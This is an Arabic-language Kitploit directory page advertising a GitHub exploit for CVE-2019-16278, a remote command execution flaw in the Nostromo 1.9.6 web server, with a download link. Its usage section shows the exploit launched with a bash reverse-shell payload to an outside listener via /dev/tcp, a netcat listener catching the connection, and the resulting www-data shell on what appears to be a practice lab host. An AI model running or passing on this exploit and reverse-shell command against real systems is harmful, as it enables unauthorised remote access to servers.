Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-16278-Nostromo-1.9.6-RCE — هذا استغلال لثغرة CVE-2019-16278 في Nostromo 1.9.6 RCE. يسمح هذا الاستغلال بتنفيذ أوامر عن بُعد (RCE) على الجهاز الضحية. | Kitploit
أدوات/GitHubGitHub/fredbrave/cve-2019-16278-nostromo-1.9.6-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعد
GitHubfredbrave/cve-2019-16278-nostromo-1.9.6-rce

CVE-2019-16278-Nostromo-1.9.6-RCE

هذا استغلال لثغرة CVE-2019-16278 في Nostromo 1.9.6 RCE. يسمح هذا الاستغلال بتنفيذ أوامر عن بُعد (RCE) على الجهاز الضحية.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
منذ 3 سنواتلم تتم المراجعة بعد

CVE-2019-16278-Nostromo-1.9.6-RCE

هذا استغلال لثغرة CVE-2019-16278 في Nostromo 1.9.6 RCE. يسمح هذا الاستغلال بتنفيذ أوامر عن بُعد (RCE) على الجهاز الضحية.

المتطلبات

optparse socat sys

الاستخدام

يمكنك استخدام الاستغلال على النحو التالي:

root@kitploit:~
python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i >& /dev/tcp/10.10.16.42/443 0>&1'"
b'HTTP/1.1 200 OK\r\nDate: Thu, 04 May 2023 22:05:36 GMT\r\nServer: nostromo 1.9.6\r\nConnection: close\r\n\r\n\r\n'

nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.16.42] from (UNKNOWN) [10.129.192.225] 40752
bash: cannot set terminal process group (1005): Inappropriate ioctl for device
bash: no job control in this shell
www-data@traverxec:/usr/bin$ whoami
whoami
www-data
www-data@traverxec:/usr/bin$

حظًا موفقًا في الاختراق!!!

تنزيل الأداة